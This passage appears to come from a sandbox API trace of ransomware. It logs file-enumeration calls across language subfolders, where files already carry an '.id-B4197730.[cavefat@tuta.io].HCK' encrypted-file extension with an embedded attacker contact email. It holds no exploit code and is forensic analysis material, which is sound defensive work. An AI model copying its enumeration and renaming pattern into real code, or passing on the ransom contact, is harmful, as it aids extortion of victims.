cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.270] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.270] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2deb94d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.270] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.271] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0224.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.271] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.272] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.272] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d53173, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d53173, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d53173, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.273] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d792f4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d792f4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d792f4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.273] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.273] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2deb94d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2deb94d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e1209d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.273] FindClose (in: hFindFile=0x573468 | out: hFindFile=0x573468) returned 1 [0224.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.273] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0224.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.273] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.275] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.275] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d9f5ae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d9f5ae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d9f5ae, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.275] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2d9f5ae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2d9f5ae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2d9f5ae, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.275] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.276] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa30c0705, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.276] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.276] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0224.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.276] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.277] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.277] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ef6ba8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ef6ba8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ef6ba8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.277] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ef6ba8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ef6ba8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ef6ba8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.278] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e37ee6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.278] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e37ee6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.278] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.278] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0224.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573728 [0224.280] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.280] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f1cdc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f1cdc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2f1cdc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.280] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f1cdc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f1cdc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3348f38, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.280] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e5e0a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.280] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e37ee6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e37ee6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2e5e0a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.280] FindClose (in: hFindFile=0x573728 | out: hFindFile=0x573728) returned 1 [0224.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.281] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0224.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.281] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573728 [0224.344] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.344] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3538eda, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3538eda, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3538eda, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.345] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35d1744, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35d1744, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa361dbe4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.348] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e8433c, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e8433c, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.348] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2e8433c, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2e8433c, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.349] FindClose (in: hFindFile=0x573728 | out: hFindFile=0x573728) returned 1 [0224.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.390] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0224.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.392] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.393] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa304df85, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa304df85, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa307421d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.393] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa307421d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa307421d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa307421d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", 